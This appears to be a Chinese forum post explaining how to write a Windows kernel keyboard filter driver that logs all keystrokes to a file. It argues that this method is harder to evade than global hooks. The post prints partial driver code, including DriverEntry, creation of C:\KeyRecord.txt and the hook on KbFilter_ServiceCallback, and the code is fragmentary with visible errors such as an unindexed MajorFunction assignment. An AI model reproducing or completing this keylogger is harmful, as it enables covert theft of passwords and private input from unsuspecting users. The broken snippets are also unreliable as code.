实现键盘记录的方法一般是用 全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦 截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。 driver entry是标准的例程,我们这里注册了一些分派函数 NTSTATUS DriverEntry ( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { ULONG i;
UNREFERENCED_PARAMETER (RegistryPath);
// // Fill in all the dispatch entry points with the pass through function // and the explicitly fill in the functions we are going to intercept // for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction = KbFilter_DispatchPassThrough; }
return STATUS_SUCCESS; } 注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。 基 本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的 return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在 KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下: RtlInitUnicodeString(&devExt->RecordFileName,L"\\DosDevices\\c:\\KeyRecord.txt"); /*NOTE:lzp--2005-4-9--- * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed */ InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE, NULL,NULL);
//create or open the file status=ZwCreateFile( &devExt->RecordFileHandle, FILE_APPEND_DATA|SYNCHRONIZE, &ObjectAttri, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE|FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (!NT_SUCCESS(status)) { DbgPrint("ZwCreateFile failed\n"); //IoDeleteDevice(device); return (status); } 所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOID KbFilter_ServiceCallback( IN PDEVICE_OBJECT DeviceObject, IN PKEYBOARD_INPUT_DATA InputDataStart, IN PKEYBOARD_INPUT_DATA InputDataEnd, IN OUT PULONG InputDataConsumed )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的 PDEVICE_EXTENSION devExt;
用户1099805 2016-5-14 10:43
用户3695003 2016-3-25 10:23
用户377235 2014-4-19 18:03
用户1599209 2014-2-7 02:30
挺好的。。。。。。